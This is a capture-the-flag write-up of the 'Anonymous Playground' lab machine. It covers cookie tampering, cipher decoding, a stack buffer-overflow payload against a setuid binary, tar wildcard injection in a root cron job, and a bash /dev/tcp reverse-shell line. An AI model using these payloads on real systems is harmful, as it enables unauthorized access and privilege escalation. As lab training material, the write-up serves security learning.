Anonymous Playground - WriteUp

First of all we are going to start with nmap scan:

nmap -sV -sC -Pn -n 10.10.X.X

```
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-12 16:47 IST
Nmap scan report for 10.10.203.157
Host is up (0.10s latency).
Not shown: 974 closed ports
        STATE SERVICE
PORT
                                  OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
22/tcp
        open
                   ssh
  ssh-hostkey:
    2048 60:b6:ad:4c:3e:f9:d2:ec:8b:cd:3b:45:a5:ac:5f:83 (RSA)
    256 6f:9a:be:df:fc:95:a2:31:8f:db:e5:a2:da:8a:0c:3c (ECDSA)
    256 e6:98:52:49:cf:f2:b8:65:d7:41:1c:83:2e:94:24:88 (ED25519)
80/tcp open http
                          Apache httpd 2.4.29 ((Ubuntu))
 http-robots.txt: 1 disallowed entry
 _/zYdHuAKjP
 _http-server-header: Apache/2.4.29 (Ubuntu)
 _http-title: Proving Grounds
```

Let's check the website on port 80 for further enumeration.

We enter the main page and don't see something that interesting, so I decided to check this /zYdHuAKjP directory that we got from nmap (also in /robots.txt).

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You have not been granted access.
Access denied.
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We get this Access denied page So I thought to myself maybe we can change the cookie value.

Instead of Access:denied Let's change the cookie value to Access:granted



And boom it worked.

Now we get this weird string:

hEzAdCfHzA::hEzAdCfHzAhAiJzAelaDjBcBhHgAzAfHfN

After trying and searching for what this is I've decided to check the hint in THM, and got this message: "Try to replace between zA=a"

In the end the method to crack this was to take the position number of each letter and do -> (lowercase_letter + capital_letter) % 26 and the number we get is the letter

$$(z + A)$$
 % 26 = $(26 + 1)$ % 26 = 1 = a -> zA = a

I wrote a python script for that

SSH credentials -> m****:********nt

Boom, one user owned

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```
magna@anonymous-playground:~$ ls -la
total 64
drwxr-xr-x 7 magna magna 4096 Jul 10
                                       2020
drwxr-xr-x 5 root
                                       2020 ...
                   root
                          4096 Jul 4
                             9 Jul 4
                                      2020 .bash_history → /dev/null
lrwxrwxrwx 1 root
                   root
-rw-r--r-- 1 magna magna
                           220 Jul
                                      2020 .bash logout
-rw-r--r-- 1 magna magna
                         3771 Jul
                                      2020 .bashrc
         - 2 magna
                         4096 Jul
                                      2020 .cache
                  magna
                                    4
4096 Jul
                                       2020 .config
                   magna
                            33 Jul
                                       2020 flag.txt
                   magna
                                       2020 gnupg
       — 3 magna
                         4096 Jul 4
                   magna
-rwsr-xr-x 1 root
                   root
                          8528 Jul 10
                                      2020 hacktheworld
drwxrwxr-x 3 magna
                   magna
                          4096 Jul
                                       2020 .local
-rw-r--r-- 1 spooky spooky
                           324 Jul
                                    6
                                      2020 note_from_spooky.txt
-rw-r-- r-- 1 magna
                           807 Jul
                                       2020 .profile
                   magna
                                    4
                          4096 Jul
                                       2020 .ssh
           2 magna
                   magna
                           817 Jul
                                       2020 .viminfo
-rw-
           1 magna
                   magna
```

Looks like we need to exploit this binary for lateral movement.

First of all let's use file command on the binary

```
magna@anonymous-playground:~$ file hacktheworld hacktheworld: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7de2fcf9c977c96655 ebae5f01a013f3294b6b31, not stripped
```

Great it is not stripped which means it contains debugging information so it's more easy to exploit.

Now lets see the binary functions

```
grep -i "FUNC"
magna@anonymous-playground:~$ readelf -a hacktheworld |
                                                            UND puts@GLIBC_2.2.5 (2)
     1: 00000000000000000
                                0
                                           GLOBAL DEFAULT
                                           GLOBAL DEFAULT UND system@GLIBC_2.2.5 (2)
     2: 000000000000000000
                                0
                                           GLOBAL DEFAULT UND printf@GLIBC_2.2.5 (2)
GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
     3: 000000000000000000
                                0
     4: 000000000000000000
                                0
                                           GLOBAL DEFAULT UND gets@GLIBC_2.2.5 (2)
     6: 000000000000000000
                                0
                                                           UND setuid@GLIBC_2.2.5 (2)
UND sleep@GLIBC_2.2.5 (2)
                                0
     7: 000000000000000000
                                           GLOBAL DEFAULT
     8: 00000000000000000
                                0
                                           GLOBAL DEFAULT
    27: 00000000004005b0
                                           LOCAL DEFAULT
                                                            13 deregister_tm_clones
                                          LOCAL DEFAULT
    28: 000000000004005e0
                                0
                                                             13 register_tm_clones
    29: 0000000000400620
                                0
                                                                 __do_global_dtors_aux
                                           LOCAL
                                                             13 frame_dummy
    32: 00000000000400650
                                                  DEFAULT
                                                             13 __libc_csu_fini
                                           GLOBAL DEFAULT
    43: 00000000000400780
    45: 00000000000000000
                                0
                                           GLOBAL DEFAULT UND puts@@GLIBC_2.2.5
                                           GLOBAL DEFAULT
    47: 0000000000400784
                                                             14 _fini
                                                            UND system@@GLIBC_2.2.5
UND printf@@GLIBC_2.2.5
                                0
                                           GLOBAL DEFAULT
    48: 000000000000000000
    49: 00000000000000000
                                0
                                           GLOBAL DEFAULT
                                                            13 call_bash
    50: 0000000000400657
                              129
                                           GLOBAL DEFAULT
                                           GLOBAL DEFAULT
                                                            UND __libc_start_main@@GLIBC_
UND gets@@GLIBC_2.2.5
                                0
    51: 0000000000000000000
    56: 000000000000000000
                                0
                                           GLOBAL DEFAULT
                                                            13 __libc_csu_init
                                           GLOBAL DEFAULT
    57: 0000000000400710
                              101
                                                             13 _dl_relocate_static_pie
                                           GLOBAL HIDDEN
    59: 00000000004005a0
    60: 0000000000400570
                               43
                                           GLOBAL DEFAULT
                                                              13 _start
                                                             13 main
    62: 00000000004006d8
                                           GLOBAL DEFAULT
                                                            UND setuid@@GLIBC_2.2.5
                                0
                                           GLOBAL DEFAULT
    64: 000000000000000000
    65: 000000000000000000
                                0
                                           GLOBAL DEFAULT
                                                            UND sleep@@GLIBC_2.2.5
    66: 00000000004004e0
                                           GLOBAL DEFAULT
```

There is a function called "call_bash" which looks interesting, probably this func calls bash so we can execute commands.

Now lets overflow the program and try to make it execute the call_bash function so we can get a shell.

Fire up the binary in gdb and lets overflow it with msf-pattern_create

The program crashed and we need to find the \$rsp offset, so let's run this command:

x/xg \$rsp -> it basically prints the value in rsp so we can match it to the msf-pattern offset

So we found this offset, now lets overflow the program with 72 A' and then our call_bash address in little endian, and finally pipe it to the binary.

```
magna@anonymous-playground:-$ (python -c "print 'A' * 72 + '\x58\x06\x40\x00\x00\x00\x00\x00\x00'"; cat) | ./hacktheworld
Who do you want to hack?
We are Anonymous.
We are Legion.
We do not forgive.
We do not forget.
[Message corrupted] ... Well ... done.
```

The cat at the end there was to catch the function so it won't execute and just exit.

I upgraded the shell with msfvenom (you can do it however you want)

And boom we owned a second user.

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Now for root I explored a lil bit and found a cronjob that root execute

```
# m h dom mon dow user command

17 * * * * root cd / && run-parts -- report /etc/cron.hourly

25 6 * * * root test -x /usr/sbin/anacron ( cd / && run-parts -- report /etc/cro

47 6 * * 7 root test -x /usr/sbin/anacron ( cd / && run-parts -- report /etc/cro

52 6 1 * * root test -x /usr/sbin/anacron ( cd / && run-parts -- report /etc/cro

*/1 * * * * root cd /home/spooky && tar -zcf /var/backups/spooky.tgz *
```

So how can we enumerate this tar job? We can exploit this wildcard * at the end by injecting to the /home/spooky dir some commands.

After reading a little bit from tar man page we can do this

```
echo " " > "--checkpoint-action=exec=bash shell.sh" echo " " > "--checkpoint=1"
```

and also make a shell.sh file:

echo 'bash -i >& /dev/tcp/X.X.X.X/4444 0>&1' > shell.sh

Set up a listener on our machine and just wait for the reverse shell.

And boom we owned root

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